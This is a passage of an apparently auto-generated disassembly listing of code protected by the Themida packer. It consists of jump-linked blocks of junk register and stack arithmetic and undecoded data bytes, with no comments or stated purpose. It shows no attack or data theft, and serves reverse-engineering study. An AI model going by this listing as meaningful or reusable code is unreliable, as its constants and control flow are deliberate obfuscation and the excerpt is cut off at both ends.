eax mov al, 0EDh push edx mov dl, 0B7h jmp loc_56230B ; --------------------------------------------------------------------------- loc_55A444: ; CODE XREF: Themida_:0056AE83j xor edx, edi jmp loc_567477 ; --------------------------------------------------------------------------- loc_55A44B: ; CODE XREF: Themida_:0056C4F2j pop edx add al, 0ACh pop dx push edx jmp loc_561543 ; --------------------------------------------------------------------------- loc_55A456: ; CODE XREF: Themida_:0056B6EDj sub esi, 4 xchg esi, [esp] jmp loc_5680CF ; --------------------------------------------------------------------------- loc_55A461: ; CODE XREF: Themida_:0056B4CFj mov dh, 0C3h or dh, 0CDh jmp loc_5699B5 ; --------------------------------------------------------------------------- loc_55A46B: ; CODE XREF: Themida_:00567B0Fj pop ebx jmp loc_5654BF ; --------------------------------------------------------------------------- aXh db 'Xhч',9,0 dw 8900h dd 0E0892404h, 0F5B4E9h, 17E46800h, 3C890000h, 505F5224h dd 0FFEF71E9h, 242C8BFFh, 4C481h, 38E90000h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A49F: ; CODE XREF: Themida_:00562FA2j xchg eax, [esp] pop esp jmp loc_5692D7 ; --------------------------------------------------------------------------- dd 5559CD01h, 77BBE9h, 4EC8100h, 0E9000000h, 6957h ; --------------------------------------------------------------------------- loc_55A4BC: ; CODE XREF: Themida_:00558E62j mov ebp, esp add ebp, 4 push ebx push 4 pop ebx sub ebp, 46FB2469h add ebp, ebx jmp loc_565E0F ; --------------------------------------------------------------------------- loc_55A4D8: ; CODE XREF: Themida_:0056422Dj add esp, 4 push ecx sub dword ptr [esp], 420260FBh pop esi jmp loc_55AB7D ; --------------------------------------------------------------------------- loc_55A4E9: ; CODE XREF: Themida_:00564C4Aj bts [esp], ax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- dd 0FFBDEEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A4F9: ; CODE XREF: Themida_:0055BD06j pop ecx jmp loc_55EEB5 ; --------------------------------------------------------------------------- loc_55A4FF: ; CODE XREF: Themida_:00561393j push ecx mov ecx, 53934789h neg ecx xor ecx, 0AC6CB873h add ebx, ecx jmp loc_56C70B ; --------------------------------------------------------------------------- loc_55A514: ; CODE XREF: Themida_:0055D084j dec ah jg loc_5673B3 add ah, 54h neg ah jmp loc_562095 ; --------------------------------------------------------------------------- loc_55A526: ; CODE XREF: Themida_:0056C0B2j add dl, 5Bh jmp loc_55E302 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4EA81h, 14870000h, 8F545C24h, 4832404h, 7BE90424h db 8, 1, 0 ; --------------------------------------------------------------------------- loc_55A54B: ; CODE XREF: Themida_:00557136j mov ebp, esp jmp loc_558282 ; --------------------------------------------------------------------------- loc_55A552: ; CODE XREF: Themida_:0055E41Fj pop edx push ecx push 6484h jmp loc_55F806 ; --------------------------------------------------------------------------- loc_55A55E: ; CODE XREF: Themida_:loc_56268Dj ; Themida_:00569BB0j pop esp xor [esp], eax jmp loc_568518 ; --------------------------------------------------------------------------- loc_55A567: ; CODE XREF: Themida_:005623A8j sub esp, 4 mov [esp], ecx jmp loc_565EB1 ; --------------------------------------------------------------------------- loc_55A572: ; CODE XREF: Themida_:0056056Cj pop edx add bl, 0D0h add bl, 57h add bl, al jmp loc_568936 ; --------------------------------------------------------------------------- loc_55A580: ; CODE XREF: Themida_:005615CCj sub ebx, ecx pop ecx jmp loc_55A0F9 ; --------------------------------------------------------------------------- loc_55A588: ; CODE XREF: Themida_:0055F085j mov ebx, 2 add edx, ebx pop ebx jmp loc_5642D3 ; --------------------------------------------------------------------------- loc_55A595: ; CODE XREF: Themida_:005657CDj push ebp jmp loc_561633 ; --------------------------------------------------------------------------- loc_55A59B: ; CODE XREF: Themida_:0056321Bj mov esp, [esp] jmp loc_55EDED ; --------------------------------------------------------------------------- loc_55A5A3: ; CODE XREF: Themida_:005595E0j add ecx, 4435703Ah jmp loc_55AFFD ; --------------------------------------------------------------------------- dw 55Fh dd 11933ECDh, 0C83B0405h, 5DAF2D22h, 0D82963D8h, 0D85DAF05h dd 240DE963h, 0C6810000h, 16D00A5Eh, 0BD55D601h, 6D446B40h dd 35CDC581h, 4CE967E7h db 0D5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A5E3: ; CODE XREF: Themida_:00569164j pop esi xor ebp, [esp] jmp loc_55A005 ; --------------------------------------------------------------------------- loc_55A5EC: ; CODE XREF: Themida_:0056BE33j jmp loc_5689E1 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 4BDh, 0E9E80100h, 0B642h ; --------------------------------------------------------------------------- loc_55A600: ; CODE XREF: Themida_:00559486j mov ebx, 1520643Fh xor ebx, 4D3C787Eh jp loc_55D0FE jmp loc_557A09 ; --------------------------------------------------------------------------- dw 0C329h dd 55D30158h db 8Bh, 0CAh, 5Eh ; --------------------------------------------------------------------------- loc_55A61F: ; CODE XREF: Themida_:0055E392j mov eax, 4076A46h jmp loc_560D0E ; --------------------------------------------------------------------------- byte_55A629 db 0ACh, 51h, 0E9h ; DATA XREF: Themida_:00556038o dd 0FFFFE7DAh ; --------------------------------------------------------------------------- loc_55A630: ; CODE XREF: Themida_:0056BEE6j push esi mov esi, 1B3535C0h jmp loc_567DE9 ; --------------------------------------------------------------------------- db 89h dd 5AD589C2h, 5224048Bh, 0C2815A54h, 4, 4C281h, 14870000h dd 68525C24h, 67A1h, 0B9240C89h, 1133EB6h, 4768E9h db 0 ; --------------------------------------------------------------------------- loc_55A669: ; CODE XREF: Themida_:00569881j mov [esp], ebx mov ebx, 759D36BFh mov ecx, 8A62C945h add ecx, ebx pop ebx push ecx mov ecx, 38441FC5h add eax, 598A343Dh add eax, 482871D8h sub eax, ecx sub eax, 482871D8h sub eax, 598A343Dh jmp loc_568B21 ; --------------------------------------------------------------------------- loc_55A69A: ; CODE XREF: Themida_:0055C486j add ebx, 4 jmp loc_55B6B1 ; --------------------------------------------------------------------------- loc_55A6A5: ; CODE XREF: Themida_:0055EE6Aj pop esi push dword ptr [esp] mov eax, [esp] add esp, 4 push 1F5h mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_56ADD4 ; --------------------------------------------------------------------------- aBcwdSf db '│ГWD/,ИF[',0 align 2 loc_55A6D2: ; CODE XREF: Themida_:00562DE8j pop ebp xor esi, 279C57CFh sub edi, 1A204764h add edi, esi jmp loc_557E20 ; --------------------------------------------------------------------------- loc_55A6E6: ; CODE XREF: Themida_:00560424j sub ebx, 0AF67FFEh add ebx, ebp push esi jmp loc_559B31 ; --------------------------------------------------------------------------- dd 709BC381h, 0C3012853h, 709BEB81h, 81582853h, 4C3h, 241C8700h dd 2C3835Ch, 8B241C87h, 0E2E92424h db 0ACh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A71B: ; CODE XREF: Themida_:00557E81j add eax, edx jmp loc_56D711 ; --------------------------------------------------------------------------- loc_55A722: ; CODE XREF: Themida_:0056D034j pop dword ptr [esp] mov esp, [esp] jmp loc_55D199 ; --------------------------------------------------------------------------- byte_55A72D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00556290o aQvtsaa db '$QVTИМ═',0 db 0 ; --------------------------------------------------------------------------- loc_55A739: ; CODE XREF: Themida_:00558EEFj push eax mov ah, 4Dh and dl, ah pop eax not dl and dl, 92h jmp loc_565721 ; --------------------------------------------------------------------------- db 29h, 0D9h, 5Bh dd 0C9C18141h, 8130DD7Dh, 10615DC1h, 14F75118h, 0B8505924h dd 9C78B275h, 8158C129h, 0F54BB4EEh, 83CE017Fh, 148904ECh dd 4448E924h db 2 dup(0) word_55A77A dw 8B66h ; DATA XREF: Themida_:005561E8o dd 0EC812404h, 4, 0E9243489h, 10EBAh, 1AF668h, 242C8900h dd 0E9505D54h, 0AE11h, 8324148Bh, 0E95204C4h, 89CBh, 0ABC8E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A7AE: ; CODE XREF: Themida_:0055AB38j pop ecx sub ah, 0ABh sub ah, 8Bh add ah, 1Ch jmp loc_56BF03 ; --------------------------------------------------------------------------- loc_55A7BD: ; CODE XREF: Themida_:005679F1j push eax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- dd 148BD001h, 4C48324h, 984AE9h db 0 ; --------------------------------------------------------------------------- loc_55A7D1: ; CODE XREF: Themida_:005641F4j shl dh, 8 add dh, 0A9h sub ch, dh mov edx, [esp] jmp loc_566D5A ; --------------------------------------------------------------------------- loc_55A7E1: ; CODE XREF: Themida_:0055E0A0j push edx mov edx, 0 mov esi, edx pop edx mov [edi+24h], esi jmp loc_567A35 ; --------------------------------------------------------------------------- loc_55A7F2: ; CODE XREF: Themida_:00565E7Aj pop ebx jmp loc_557E86 ; --------------------------------------------------------------------------- loc_55A7F8: ; CODE XREF: Themida_:00561A9Aj xor ecx, [esp] pop esp mov [esp], ecx push 14226451h mov ecx, [esp] add esp, 4 push eax mov eax, 307C586Ah and ecx, eax pop eax add ecx, 0FFFFFFFFh push edx mov edx, 3B2C1888h xor ecx, edx pop edx inc ecx push 0C40h mov [esp], eax mov eax, 10641DD4h add ecx, eax pop eax sub edi, ecx pop ecx push 4AF0h mov [esp], ebx mov ebx, 15AB56ACh sub ebx, 285124FBh shr ebx, 6 and ebx, 466F4C6Fh jmp loc_55699B ; --------------------------------------------------------------------------- loc_55A854: ; CODE XREF: Themida_:0055A3ADj pop esi sub esp, 4 mov [esp], edx jmp loc_562C1D ; --------------------------------------------------------------------------- db 89h dd 4832424h, 505E0424h, 9762D9B8h, 617C3534h, 0D8F74291h dd 0D14AD725h, 4FB95133h, 2901D148h, 0E346E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A88A: ; CODE XREF: Themida_:00566632j mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_558F85 ; --------------------------------------------------------------------------- loc_55A89F: ; CODE XREF: Themida_:00562610j mov edx, 29323F56h or edx, 1151709Fh not edx push edi jmp loc_55D2DE ; --------------------------------------------------------------------------- loc_55A8B2: ; CODE XREF: Themida_:0055ED0Dj push ebx mov ebx, 4 sub ecx, 3B1B0455h push ebp mov ebp, 687877FDh add ecx, ebp pop ebp sub ecx, ebx jmp loc_5566C6 ; --------------------------------------------------------------------------- word_55A8CE dw 77FFh ; DATA XREF: Themida_:00556128o dd 59669D1Ch, 9C241CD2h, 0DCFE9h db 0 ; --------------------------------------------------------------------------- loc_55A8DD: ; CODE XREF: Themida_:00557C2Aj mov ebx, [esp] add esp, 4 push eax not dword ptr [esp] pop eax jmp loc_564D0B ; --------------------------------------------------------------------------- loc_55A8F0: ; CODE XREF: Themida_:0055C1A8j mov edi, 6474080Bh xor edi, 6474080Fh add ecx, edi pop edi add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_55BD54 ; --------------------------------------------------------------------------- db 81h, 0F2h, 95h dd 89314322h, 0EF815AD7h, 0D971281h, 12710E9h db 0 ; --------------------------------------------------------------------------- loc_55A929: ; CODE XREF: Themida_:0055FB45j push edi mov edi, 4 jmp loc_5591A6 ; --------------------------------------------------------------------------- dd 0C1C381h, 8D0F0A32h, 4344h, 0FF4BE9h, 52F80000h, 3721E9h db 0, 5Ah, 57h ; --------------------------------------------------------------------------- loc_55A94F: ; CODE XREF: Themida_:0055AB91j add ebp, 4 jmp loc_564863 ; --------------------------------------------------------------------------- loc_55A95A: ; CODE XREF: Themida_:0055CFFFj mov esi, [esp] push ecx push esp pop ecx push edi mov edi, 4 add ecx, edi pop edi push 0CEh mov [esp], ebp mov ebp, 1298041Ch jmp loc_563447 ; --------------------------------------------------------------------------- loc_55A97B: ; CODE XREF: Themida_:0056080Fj sub edx, 8404C182h add esi, edx mov edx, [esp] jmp loc_56B2F3 ; --------------------------------------------------------------------------- loc_55A98B: ; CODE XREF: Themida_:0056A928j sub esp, 4 mov [esp], esi mov esi, esp jmp loc_56B6E7 ; --------------------------------------------------------------------------- loc_55A99B: ; CODE XREF: Themida_:0055B627j add eax, 19194110h shr eax, 7 neg eax xor eax, 0A7D8FA6Ah sub ebx, eax pop eax pop edi sub esp, 4 mov [esp], ecx jmp loc_558931 ; --------------------------------------------------------------------------- loc_55A9BC: ; CODE XREF: Themida_:0055B980j ; Themida_:0056B548j add ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] add edx, 4 push 6BACh jmp loc_56BF38 ; --------------------------------------------------------------------------- loc_55A9D5: ; CODE XREF: Themida_:00568C7Ej xor ebp, 0F6FF6375h push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_55717D ; --------------------------------------------------------------------------- loc_55A9F2: ; CODE XREF: Themida_:0056810Ej xor cl, 22h xor cl, 15h jmp loc_56AF06 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 0E9000000h, 2A73h ; --------------------------------------------------------------------------- loc_55AA08: ; CODE XREF: Themida_:00565AA8j shr ebx, 8 jmp loc_55AE09 ; --------------------------------------------------------------------------- loc_55AA10: ; CODE XREF: Themida_:0055EBDCj add ebx, 2D1D4B5Ch add ebx, 0FD1AF19Fh mov ebp, ebx pop ebx push ecx mov ecx, 5C3625Ah push ebx mov ebx, 49E44CDAh neg ebx jmp loc_56CD78 ; --------------------------------------------------------------------------- dw 0E95Bh dd 1C97h ; --------------------------------------------------------------------------- loc_55AA38: ; CODE XREF: Themida_:0055DA1Cj dec eax push edx push 0AAFD9112h push dword ptr [esp] pop edx add esp, 4 xor eax, edx pop edx mov esi, eax pop eax xor esi, edi push dword ptr [esp] pop edi add esp, 4 sub edi, esi mov esi, [esp] add esp, 4 std jmp loc_56888A ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 575E5424h, 0FC0CEFBFh, 0FF78132h dd 0E9496517h, 1149h ; --------------------------------------------------------------------------- loc_55AA88: ; CODE XREF: Themida_:0055B724j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55AA8D: ; CODE XREF: Themida_:00564D26j mov ebx, 4 add esi, ebx pop ebx xchg esi, [esp] jmp loc_56A5D1 ; --------------------------------------------------------------------------- loc_55AA9D: ; CODE XREF: Themida_:0055BB48j push edi mov edi, esp add edi, 4 push eax jmp loc_55EAA8 ; --------------------------------------------------------------------------- loc_55AAAC: ; CODE XREF: Themida_:0056A591j shr edi, 1 jnp loc_55DE0F shl edi, 5 jnp loc_556713 jnb loc_55881A loc_55AAC3: ; CODE XREF: Themida_:00566F77j pop edx add esi, 2E817FC6h add esi, eax sub esi, 2E817FC6h mov eax, [esp] add esp, 4 push ebp jmp loc_557EAC ; --------------------------------------------------------------------------- loc_55AAE1: ; CODE XREF: Themida_:0055922Ej push 62EFh mov [esp], edx mov edx, esp add edx, 4 jmp loc_55BF5E ; --------------------------------------------------------------------------- loc_55AAF6: ; CODE XREF: Themida_:loc_558826j jmp loc_5697BA ; --------------------------------------------------------------------------- loc_55AAFB: ; CODE XREF: Themida_:0056262Dj xor ecx, 3E09707Dh inc ecx sub ecx, 31FD9F85h or edi, ecx pop ecx add edi, 0DB2DC0DFh mov eax, edi pop edi add ecx, eax pop eax jmp loc_556830 ; --------------------------------------------------------------------------- dd 81E78957h, 4C7h, 193E900h db 1, 0 ; --------------------------------------------------------------------------- loc_55AB2A: ; CODE XREF: Themida_:00563902j js loc_566370 add bl, 0C0h mov ch, bl pop ebx mov ah, ch jmp loc_55A7AE ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 0E9h dd 5F00h ; --------------------------------------------------------------------------- loc_55AB44: ; CODE XREF: Themida_:0056639Cj sub ebx, 46CC756Eh inc ebx xor ebx, 33134582h add ebx, 6C1B3D2Dh push ebp mov ebp, 2E817854h or ebx, ebp pop ebp add ebx, 0BE1B4332h mov eax, ebx mov ebx, [esp] add esp, 4 dec eax xor eax, 32692536h dec eax jmp loc_55DA39 ; --------------------------------------------------------------------------- loc_55AB7D: ; CODE XREF: Themida_:0055A4E4j add esi, 420260FBh jmp loc_56C15D ; --------------------------------------------------------------------------- loc_55AB88: ; CODE XREF: Themida_:0056A34Ej push edx sub esp, 4 mov [esp], ebp push esp pop ebp jmp loc_55A94F ; --------------------------------------------------------------------------- dw 8966h dd 665A66D3h, 51E9DD89h db 12h, 1, 0 ; --------------------------------------------------------------------------- loc_55ABA3: ; CODE XREF: Themida_:00567E3Dj pop edx add esp, 4 xchg ebx, [esp] pop esp or [esp], ax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- byte_55ABB5 db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00556244o dd 9ABB5357h, 8110BA04h, 721C0CEBh, 61870F44h, 81FFFFB7h dd 751668C3h, 0B73DE92Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ABD6: ; CODE XREF: Themida_:005645BBj add esp, 4 push ecx push edx mov ecx, [esp] add esp, 4 jmp loc_55E8E3 ; --------------------------------------------------------------------------- loc_55ABEC: ; CODE XREF: Themida_:00568CDEj push edx mov edx, 3DF31D3Eh sub eax, edx mov edx, [esp] add esp, 4 push ebx jmp loc_56B774 ; --------------------------------------------------------------------------- loc_55AC03: ; CODE XREF: Themida_:0055C472j add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_5662A1 ; --------------------------------------------------------------------------- loc_55AC20: ; CODE XREF: Themida_:00557969j shr ebx, 2 jmp loc_56BE7E ; --------------------------------------------------------------------------- loc_55AC28: ; CODE XREF: Themida_:00567D1Ej pop ebx jmp loc_56AFB6 ; --------------------------------------------------------------------------- loc_55AC2E: ; CODE XREF: Themida_:00562B5Fj xchg eax, [esp] pop esp pop dword ptr [esp] jmp loc_561D5B ; --------------------------------------------------------------------------- loc_55AC3A: ; CODE XREF: Themida_:00557514j mov [esp], edx mov edx, 20853FCAh dec edx jge loc_55709D jmp loc_563494 ; --------------------------------------------------------------------------- aSz db '\И╖]',0 align 4 db 89h, 0FDh ; --------------------------------------------------------------------------- loc_55AC56: ; CODE XREF: Themida_:0056347Ej sub dl, 71h jmp loc_56429C ; --------------------------------------------------------------------------- loc_55AC5E: ; CODE XREF: Themida_:0055C62Cj push dword ptr [esp] pop ecx jmp loc_56A600 ; --------------------------------------------------------------------------- loc_55AC67: ; CODE XREF: Themida_:0055EFD7j sub edi, 2E607D81h sub edi, ebx add edi, 2E607D81h add edi, 0EC27F50h pop ebx add edi, esi push ebx jmp loc_56A8B8 ; --------------------------------------------------------------------------- loc_55AC84: ; CODE XREF: Themida_:0055E039j or edi, eax pop eax xor edi, ebx xor ebx, edi xor edi, ebx inc ebx xor edi, ebx xor ebx, edi xor edi, ebx push eax mov eax, 10CF58EAh add eax, 0E7948CBh sub edi, 32684918h sub edi, eax push esi mov esi, 32684918h jmp loc_55C4B9 ; --------------------------------------------------------------------------- loc_55ACB2: ; CODE XREF: Themida_:005637CEj sub edi, 25253E3Ch push dword ptr [esp] pop ebx add esp, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] and eax, edi mov edi, [esp] jmp loc_5693F6 ; --------------------------------------------------------------------------- loc_55ACD5: ; CODE XREF: Themida_:0055EEB6j push 3AFE368Dh pop ebp and ebp, 5E9867FCh jo loc_55989E jmp loc_55E309 ; --------------------------------------------------------------------------- loc_55ACEC: ; CODE XREF: Themida_:00562571j sub [esp+8], ebx jmp loc_568AAA ; --------------------------------------------------------------------------- db 1, 0FAh, 0E9h dd 0FFFFD498h ; --------------------------------------------------------------------------- loc_55ACFC: ; CODE XREF: Themida_:0056B933j push ebx push 31D53EB0h jmp loc_557F31 ; --------------------------------------------------------------------------- db 8Bh dd 89532404h, 941FE9E3h, 0EEC10000h, 7BE68108h, 524AAB76h dd 0A5430BAh, 0DF48E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AD26: ; CODE XREF: Themida_:0056C665j pop esp jmp loc_568B10 ; --------------------------------------------------------------------------- dword_55AD2C dd 24048B66h, 3E1168h, 242C8900h, 961FE9h ; DATA XREF: Themida_:005560ACo db 0 ; --------------------------------------------------------------------------- loc_55AD3D: ; CODE XREF: Themida_:0056942Cj ; Themida_:loc_569536j or dh, 6Ch shr dh, 2 jnz loc_56CB42 and dh, 0F3h jg loc_55853C mov edx, esi mov ch, al loc_55AD56: ; CODE XREF: Themida_:0056C178j add ebx, eax push ebp mov ebp, 0D187092h shr ebp, 4 add ebp, 796EBED6h sub ebx, ebp pop ebp jmp loc_55FE23 ; --------------------------------------------------------------------------- loc_55AD6F: ; CODE XREF: Themida_:005612E9j push dword ptr [esp] pop edx add esp, 4 push ecx push eax mov al, 21h not al add al, 76h mov cl, al pop eax dec cl push dx mov dl, 1Ch xor cl, dl pop dx jmp loc_56A832 ; --------------------------------------------------------------------------- loc_55AD90: ; CODE XREF: Themida_:005588B3j mov esp, [esp] jmp loc_561C0C ; --------------------------------------------------------------------------- dd 0E906E3C1h, 11033h, 22FE9h db 0 ; --------------------------------------------------------------------------- loc_55ADA5: ; CODE XREF: Themida_:00568E1Cj dec bl jo loc_56006D jmp loc_5638FC ; --------------------------------------------------------------------------- loc_55ADB2: ; CODE XREF: Themida_:00556848j xor esi, 0C62BEE5Fh mov edx, esi push dword ptr [esp] pop esi push eax mov eax, esp push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_563428 ; --------------------------------------------------------------------------- loc_55ADCF: ; CODE XREF: Themida_:00559988j pop eax add esp, 4 add ecx, edi sub esp, 4 jmp loc_5575C4 ; --------------------------------------------------------------------------- dd 89C78159h, 1888286h, 0EC15E9FAh, 487FFFFh, 74FAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ADF6: ; CODE XREF: Themida_:0056A879j mov edx, 6AF62174h xor edx, esi xor esi, edx xor edx, esi inc esi xchg esi, edx jmp loc_55EE49 ; --------------------------------------------------------------------------- loc_55AE09: ; CODE XREF: Themida_:0055AA0Bj sub esp, 4 mov [esp], eax jmp loc_5623D6 ; --------------------------------------------------------------------------- aBiBVzhs db '│К~b+vZhА;',0 align 10h dd 56242C89h, 2BEh, 5EF58900h, 34FFEB01h, 54565D24h, 4C6815Eh dd 83000000h, 348704C6h, 1C875C24h, 1AA7E924h db 1, 0 ; --------------------------------------------------------------------------- loc_55AE4A: ; CODE XREF: Themida_:005641E0j mov [esp], ecx mov ch, 5 jmp loc_560915 ; --------------------------------------------------------------------------- loc_55AE54: ; CODE XREF: Themida_:00556D66j xchg edi, [esp] mov esp, [esp] push 5F84h jmp loc_561A7D ; --------------------------------------------------------------------------- loc_55AE64: ; CODE XREF: Themida_:0055B8C7j sub ebx, 1BB32B19h pop ecx jmp loc_56B364 ; --------------------------------------------------------------------------- loc_55AE70: ; CODE XREF: Themida_:00566C37j xor dl, 0C0h sub bh, dl pop edx xor al, bh push dword ptr [esp] pop ebx push edx push esp pop edx add edx, 4 push 27FDh mov [esp], ecx mov ecx, 4FC553CBh sub ecx, 38520B89h jmp loc_566CE2 ; --------------------------------------------------------------------------- loc_55AE9D: ; CODE XREF: Themida_:0055E646j pop edi and ebp, 4662440Dh push ecx mov ecx, 6C6520FCh xor ecx, 2F131A17h or ecx, offset asc_5C5739 ; "ллллллллллллллллллллллллллллллллллллллл"... sub esp, 4 mov [esp], esi mov esi, 3C405B00h inc esi shr esi, 4 shl esi, 2 neg esi or esi, 38EF7C12h jmp loc_5697ED ; --------------------------------------------------------------------------- loc_55AED5: ; CODE XREF: Themida_:00565270j mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], ebx mov ebx, 4 sub ebp, 6743C0Ah add ebp, ebx add ebp, 6743C0Ah mov ebx, [esp] jmp loc_56197F ; --------------------------------------------------------------------------- loc_55AEFE: ; CODE XREF: Themida_:005595FCj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- db 31h, 0CEh, 0E9h dd 10DDh ; --------------------------------------------------------------------------- loc_55AF1C: ; CODE XREF: Themida_:0055DC52j mov [esp], ebp sub esp, 4 mov [esp], ecx push edx jmp loc_56579E ; --------------------------------------------------------------------------- loc_55AF2B: ; CODE XREF: Themida_:00560403j add esp, 4 jmp loc_56210B ; --------------------------------------------------------------------------- loc_55AF33: ; CODE XREF: Themida_:0056A550j and ebp, 231D160Ch add ebp, 0DFF3FA04h add esi, ebp pop ebp xchg esi, [esp] pop esp or edx, eax shl edx, 1 push 6608h mov [esp], ebx mov ebx, 1 sub esp, 4 mov [esp], edx mov edx, 24h push ebp mov ebp, 5E57344Fh add edx, ebp pop ebp jmp loc_561026 ; --------------------------------------------------------------------------- loc_55AF70: ; CODE XREF: Themida_:00562134j not ebp jmp loc_5563CE ; --------------------------------------------------------------------------- loc_55AF77: ; CODE XREF: Themida_:0055CCBEj push ebp push esp pop ebp jmp loc_56417E ; --------------------------------------------------------------------------- loc_55AF7F: ; CODE XREF: Themida_:005635FAj push ebx push dword ptr [esp+4] jmp loc_56D513 ; --------------------------------------------------------------------------- loc_55AF89: ; CODE XREF: Themida_:0056CCCEj xchg ebp, [esp] mov esp, [esp] add eax, 9A6DC9CCh push esi mov esi, eax jmp loc_558669 ; --------------------------------------------------------------------------- loc_55AF9C: ; CODE XREF: Themida_:005570A3j ; Themida_:00568139j sub esp, 4 mov [esp], ebx push 7BCC5977h jmp loc_558573 ; --------------------------------------------------------------------------- loc_55AFAC: ; CODE XREF: Themida_:0055CE7Bj pop edi add edi, 54E93142h push edx mov edx, edi mov ebx, edx pop edx mov edi, [esp] add esp, 4 pop edx push dword ptr [esp] pop eax add esp, 4 push 1553h jmp loc_561E4C ; --------------------------------------------------------------------------- dd 0F02E3C1h, 282585h, 8EBC100h, 9F1840Fh, 55B30000h ; --------------------------------------------------------------------------- loc_55AFE8: ; CODE XREF: Themida_:00562549j sub edx, 39BE36AFh add edx, edi jmp loc_5642E0 ; --------------------------------------------------------------------------- loc_55AFF5: ; CODE XREF: Themida_:00566232j shr ebx, 2 jmp loc_55E0AE ; --------------------------------------------------------------------------- loc_55AFFD: ; CODE XREF: Themida_:0055A5A9j sub ecx, edi sub ecx, 4435703Ah mov edi, [esp] jmp loc_5615A7 ; --------------------------------------------------------------------------- loc_55B00D: ; CODE XREF: Themida_:0056279Cj add esp, 4 push ax mov ah, 4Ch push ecx mov cl, 0D8h sub cl, 0CAh add cl, 53h sub bl, cl pop ecx add bl, 39h sub bl, ah sub bl, 39h add bl, 61h pop ax sub bl, al push 3DE3h mov [esp], eax mov ah, 8 sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_5595D4 ; --------------------------------------------------------------------------- dd 671F68h, 0F020E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B056: ; CODE XREF: Themida_:0055D1F1j mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 push ebx mov ebx, 4F4427B5h not ebx push ebx xor [esp], ecx xor ecx, [esp] xor [esp], ecx not ecx jmp loc_56A028 ; --------------------------------------------------------------------------- loc_55B07D: ; CODE XREF: Themida_:00566E15j add eax, 946C289Ah or ecx, eax mov eax, [esp] add esp, 4 inc ecx jg loc_568180 jmp loc_56B1D7 ; --------------------------------------------------------------------------- db 68h, 0Bh, 57h dd 5659210Ch, 33241C31h, 59E9241Ch db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B0AB: ; CODE XREF: Themida_:00557764j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55B0B0: ; CODE XREF: Themida_:0055F180j pop esp jmp loc_55B89F ; --------------------------------------------------------------------------- loc_55B0B6: ; CODE XREF: Themida_:00558C80j push esi mov esi, 4 sub ebx, 1B1C4E54h sub ebx, esi add ebx, 1B1C4E54h jmp loc_5604E6 ; --------------------------------------------------------------------------- db 1 dd 0E7C159CFh, 4EC8108h, 89000000h, 56BB241Ch, 8142F424h dd 0A8089EF3h, 77ADE960h, 0D1310000h, 59CD295Ah, 8324148Bh dd 0E95A04C4h, 74C2h, 0F187D6F7h, 1C181h, 0E1C10000h, 0B1B85004h dd 0E914473Ch, 2DAh dword_55B118 dd 5624048Bh, 0E904EC83h, 0FFFFDD57h, 4EF81h, 0D1E90000h ; DATA XREF: Themida_:00556034o dd 2D000038h, 3D017273h, 6D9ABD55h, 0F5812A22h, 4B2823B2h dd 715C68h, 243C8900h, 52E3B951h, 0E9C14674h, 30E18102h dd 0F744F504h, 24C981D1h, 0F7186C41h, 2FC181D1h, 8905541Bh dd 177DE9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B16E: ; CODE XREF: Themida_:0056ADC1j add ecx, esi jmp loc_558B8E ; --------------------------------------------------------------------------- byte_55B175 db 8Bh, 0Ch, 24h ; DATA XREF: Themida_:0055608Co dd 1C8B5453h, 935E924h, 0C4BE0000h, 0E921EF7Dh, 119ABh dd 927C0ABEh, 0EDE95753h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B197: ; CODE XREF: Themida_:005626C6j ; DATA XREF: Themida_:00556084o mov ax, [esp] push eax push 2E86h push esp pop dword ptr [esp] jmp loc_55C49A ; --------------------------------------------------------------------------- loc_55B1AA: ; CODE XREF: Themida_:0056D175j add esp, 4 push edi mov edi, 757A0C0Bh add ebx, edi mov edi, [esp] jmp loc_562412 ; --------------------------------------------------------------------------- loc_55B1BD: ; CODE XREF: Themida_:00559162j jmp loc_566C16 ; --------------------------------------------------------------------------- word_55B1C2 dw 8968h ; DATA XREF: Themida_:00556050o dd 89000014h, 89522404h, 0F35CE9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B1D2: ; CODE XREF: Themida_:00562195j mov eax, 53F62587h add [esp+8], eax pop eax jmp loc_559F87 ; --------------------------------------------------------------------------- loc_55B1E1: ; CODE XREF: Themida_:loc_568017j or ecx, 30253A68h jnp loc_5623AD push esi mov esi, 3F804963h add ecx, esi 